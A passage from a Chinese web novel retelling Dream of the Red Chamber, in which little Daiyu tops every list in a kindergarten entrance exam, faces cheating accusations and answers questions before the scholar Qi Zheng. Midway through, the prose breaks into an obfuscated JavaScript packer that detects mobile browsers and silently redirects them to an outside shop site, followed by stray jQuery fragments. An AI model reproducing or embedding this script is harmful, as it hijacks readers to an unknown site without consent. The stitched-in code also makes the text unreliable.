一到考后等候区,马知意见一群小孩围在黛玉跟前,疾步靠近,见无人让位忙道:“黛玉妹妹,我考完了!”
无数双眼睛齐刷刷看来,马知意毫不在意,甚至一一瞪回去。
黛玉妹妹和你们熟吗?黛玉妹妹和你们有约定吗?
什么都没有,好意思在我家黛玉妹妹跟前?
马知意在黛玉一声姐姐中昂首阔步挤到黛玉跟前,“黛玉妹妹,明儿可要去我家玩?”
特意来瞧小表妹,没说两句话就被挤走的贾瑶微微一笑,她家小表妹果真招人喜欢。
不过,可不是什么人都能抢她家小表妹的,她的瞧瞧此人学识、心性如何。
早听小表哥林焱夸小表妹听得耳朵起茧子的贾瑶绕到另一侧给黛玉扇风,“马妹妹,你考的如何?”
马知意一惊,她都特意跳到明天的邀约了,你干什么要提考试啊!
她比黛玉妹妹大,都回答不出多少,黛玉妹妹肯定也一样,因这点小问题惹哭了黛玉妹妹怎么办?
一旁同表姐讲述过一回考试内容的黛玉也很好奇,“知意姐姐,你答的如何?”
马知意:妹你虽然好看,可这问题姐真不想回答啊!
见马知意满脸的一言难尽,心思灵透的黛玉转而提起开学之后可以一起学。
马知意的感动还未酝酿完,蒋似鹏小跑而来,“黛玉妹妹,我考完了。”
“那我们来分糖果吃吧。”黛玉从斜挎包中掏出糖果,“知意姐姐一块,似鹏姐姐一块。”
看着小挎包中糖果还有不少,黛玉掏出一块递给贾瑶,“瑶表姐也吃。”
随后,贾敏与林焱连同雪雁都受到了小黛玉的投喂。
剩下两块,她一块,给爹爹留一块。
酸酸甜甜的糖果吃完,最后一个考完的小姑娘也走了过来。
与她一同来的是一个年岁相似的小姑娘并几个十来岁的丫鬟,因未有家人或嬷嬷陪在身边,黛玉不由多看了一眼。
就是这一眼让她认出那陪同而来的似是二舅舅家中的探春表姐。
黛玉为防认错人,拉了拉贾敏的衣袖,“母亲,您瞧。”
顺着视线看去,贾敏见探春领着的是外祖家已故大表兄史鼒的独女史湘云。
探春去岁便随宝玉一同考试入了幼儿园,如今领着湘云从考试区过来。
虽说大表兄夫妻皆过世,母亲怜惜,时常接了湘云在府中。可这等考试史家竟无人陪着?
还有,刚刚在候场区,她似乎未瞧见这俩。
贾瑶瞧见人,跨步一手拉一个到了贾敏跟前,问过好便同黛玉几个互相厮认。
六岁的贾瑶最大,五岁三月生日的蒋似鹏第二,同样五岁十月份生日的马知意第三,四岁的探春第四。
黛玉已过了三岁生辰,同样年岁的湘云是冬日出生,尚未过生辰,最小,喊诸位姐姐。
自来最小的黛玉得了个喊她林姐姐的妹妹,欢喜的掏出油纸包中的糕点喂小湘云。
蒋似鹏虽有些不喜黛玉妹妹被霸占,到底自己是姐姐,总得有个姐姐的样子。
四下未见着史家人,开口问湘云,“湘云妹妹,你这样小怎也来考试了?”
湘云咽下嘴里的糕点,“是爱哥哥说幼儿园可好玩了,敏姑妈家的姐姐来考试,我也想来试试。”
“爱哥哥?”
湘云点头,“嗯,就是爱哥哥说的好,我才想来。”
探春见她如此,忙笑着解围:“湘云年纪小,爱和二分不清,是我家二哥哥,他叫宝玉,也都一同在园里念书的。”
才被考题折磨的马知意听得探春兄妹都在幼儿园,今年连将满三岁的湘云都来了。
大呼:“我的天,你们都几岁开的蒙啊?”
探春笑道:“不过是跟着大表姐识了几个字,开蒙是入园之后。”
说罢看向一旁的贾瑶,她虽惋惜自己不能如大伯家的姐姐一般随府中哥儿一般从王,却感激大表姐与长姐教着识字。
也因此,她更得祖母看重,就连母亲也因怕二哥哥宝玉入园无人相互,让她一同考试入园。
一年相处,这点惋惜被她埋的更深。
同事也更清楚瑶表姐能有今日皆因大伯母邢郝云。
而她的生母赵姨娘也花费了大力气让她养在祖母膝下。
如此,已经很好了。
忽一道笑声先传来,在众人疑惑中恍若神妃仙子的王熙凤走了来。
“诸位夫人、姑娘、公子,今日考核榜单已出。”
随着话落,有丫鬟抬着被红布遮挡严实的榜架到王熙凤身后。
“今儿有幸请到齐老先生一同监考。”王熙凤特意留了话口听底下夫人问可是那位历经三朝,两拒太子太师之位,今一旬授太子一课的齐诤齐老先生。
王熙凤自豪点头,“正是这位。”
也不知自家婆母究竟是如何说动这位监考不说,竟还能让这位揭榜,等回去要问问自家二爷。
一旁稳坐偏殿太师椅中的齐诤扫一眼邢郝云,“若你输了……”
输?
这些年,她邢郝云别的没瞧明白,都中人心却看清了几分。
这些在高位待久了的人,很难接受旁人家的小崽崽比她们更聪慧。
邢郝云笑着打断,“齐老,若您输了,可得每月教一次课。”
齐诤捋捋胡子又想起那个最后喊他老爷爷的小黛玉,“好说。”
“有请齐老先生揭榜。”
一头白发的老者从偏殿走出,通身仙风道骨的气派让众人噤声,真是那位!
红绸被拉下,六张榜单跃入众人视线。
烫金的字体又让一众夫人不由蹙眉,孩子们却是双眼发亮。
金色的榜!
有相熟的互相咬耳朵,“咱们这算不算金榜题名?”
“当然,咱们名字可都是金色的。”
便是黛玉都不由愣了一瞬,她分明记得哥哥说他考中的那年是红字。
难道这就是大舅母说的惊喜?
“黛玉妹妹,你是榜首!全部都是!”马知意来来回回扫过六个榜单确认再也没有旁的林和玉字,兴奋开口。
蒋似鹏也没好到哪里去,她刚认识的妹妹竟是小天才!
第一眼便锁定六个榜首皆是妹妹林黛玉的林焱笑着揉揉自家妹妹的发髻,“我妹妹真棒。”
至于贾敏,早在知晓女儿连《论语》都背下来后便知晓会是这样的结果。
不愧是从相貌还是智商皆挑着他俩全部长处的乖囡。
黛玉眉眼弯弯,指着算术那张上写在第三个的名字,“似鹏姐姐,你也是算术小探花呢。”
探花?
她爹蒋子宁只是个混吃等死的二等男,天天念叨蒋家无人可继承;娘亲天天想着如何给她添弟弟。
如今,她得了探花,是不是蒋家也算后继有人了?
蒋似鹏乐得险些下巴脱臼。
不等马知意发酸,黛玉指着另一个榜单上同样名列前茅的她,“知意姐姐,你认识的东西好多啊~”
马知意谦虚道:“还好。”实则嘴角早就翘起。
也不枉她为了压那个早一炷香出生的哥哥一头,把府里逛了个遍,挨个问这是什么、那又是什么。
便是挂在末尾的湘云都被黛玉挑出优点夸了又夸。
围在黛玉周遭的小人儿们喜笑颜开,她们都榜上有名,可以一起来上幼儿园啦。
一旁诸位夫人不乐意了。
林家小姑娘才多大,怎么可能全部都是第一。
有机灵的婆子得了自家夫人暗示,张口便问:“林黛玉是贾府的表姑娘,这成绩怕不是作弊而来!”
“且不说我大舅母自开园以来便公私分明,我妹妹更是自会说话便由我教启蒙书籍,如今更有齐老先生监考,诸位的试卷也都贴在上面,一瞧便知选谁。”
说她妹妹作弊,真是笑话。
捋胡子的齐诤手僵住,他在此,竟真还有人敢污蔑。
王熙凤见老先生脸色不好,下面各家夫人同样,正想如何开口不得罪两方。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868554|212243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
赢了赌局的邢郝云见不得自家黛玉崽崽被说,一字一顿道:“你们自家孩子什么水平,自己心里没数?”
这话虽难听,但自家孩子什么水平当妈的如何不知。
尤其那份排第一的答卷,字虽不好看,可答案皆对,甚至有些诗她们都未听过。
不过有些人被捧了太久,哪里肯承认自己有错,嘴里说着不是作弊就是提前透题。
“既诸位不认这些,现场问答可能让诸位心服口服?”
邢郝云这番话又让不少人噤声,不过还有叫嚣着谁知道是不是事先备好的题。
“这简单。今儿这题,由在场诸位与齐老先生一同出。”
“不过有句话我先说在前头,这是幼儿园入学考,来的皆是三到六岁,或启蒙或未启蒙的幼童考得也是品行、常识、才学一类,允许有些超纲问题。”
不等那几个叫的最欢的夫人得意,邢郝云接着道:“若有故意刁难,可视作品行有缺,待现场问答结束,这家的孩子我幼儿园再不会接收。”
一时,想用刁钻难题的夫人皆偃旗息鼓。
饶是如此,写下来的问题也是五花八门。
什么关于内宅下人赏罚、月银发放更有甚跟自家夫君红袖添香写了一两句《大学》中的内容。
黛玉聪敏非常,又长跟着哥哥听父母或家事或无关要紧的朝堂事长见识,这些对她虽有些难度,不过略一思索便有了答案。
眼见这些都能答出来,各家夫人皆心服口服。
早已领教过小孩聪慧的齐诤难掩得遇良才的心思,又考校几句。
黛玉最后将问过自家娘亲的问题搬了出来。
齐诤恨不能当场收徒。
这等年纪无人正经教都会思辨,若得他教,未来不可估量。
至于女子不可科举入仕,在齐诤眼里都不算事儿。
前朝不止有女官还有女皇呢。
本朝就是庸人太多,才无前朝盛景。
齐诤是个随心而为的人,“小丫头,你可愿拜我为师?”
林焱刚想开口劝妹妹答应,被贾敏拉回,轻轻摇头。
齐老先生学问虽好,可若真拜师,她家女儿便再无无忧无虑的童年。
慧极必伤,她只想女儿平安到白头。
但玉儿有自己决定的权利。
林焱压下眼中渴望,他虽从齐老先生处获益良多,但也不能替妹妹决定。
黛玉不知哥哥与母亲的担忧,她有些不解,“先生开学不就教我了嘛,为何还要再拜师?”
一句话,听得邢郝云心花怒放。
真不愧是她家林妹妹,瞧瞧,不费吹灰之力就把难题抛了回来。
齐老,您想要良才,就来我幼儿园自己教吧。
从前哪个不是争着抢着想拜他为师,不过他齐诤还挺喜欢这小丫头。
反正也要教那个榆木疙瘩和附带的榆木。
只是没想到,榆木的妹妹竟是良玉。
“哈哈哈,小丫头说得对。”齐诤笑完扫视全场,“可还有谁对今次榜首有异议。”
能现场回答那么多问题,不止无人有异议,已有不少人到贾敏跟前取经。
若她家娃能有黛玉一半,便是祖坟冒青烟。
至于小孩子大多慕强,个个恨不能绕过蒋似鹏几个生扑黛玉。
“林家妹妹,你好厉害啊。”
“我听我家哥哥说过,你哥哥也很厉害,你爹爹也是探花,你家这是遗传吗?”
“什么遗传,林家妹妹这可算状元,她爹才是探花。”
小孩现在还不懂幼儿园考试与科举殿试探花的含金量。
但这话小黛玉真听到了心里。
她是状元!
不止今日,未来也要是。
眼下一众天真的小孩子尚不知他们的几句话带来的是何等影响。
好容易应付完大大小小,贾敏甚至没摸到自家闺女的衣角,就同邢郝云一齐到了贾母处。
早早等候的宝玉有些困,揉着眼睛看人。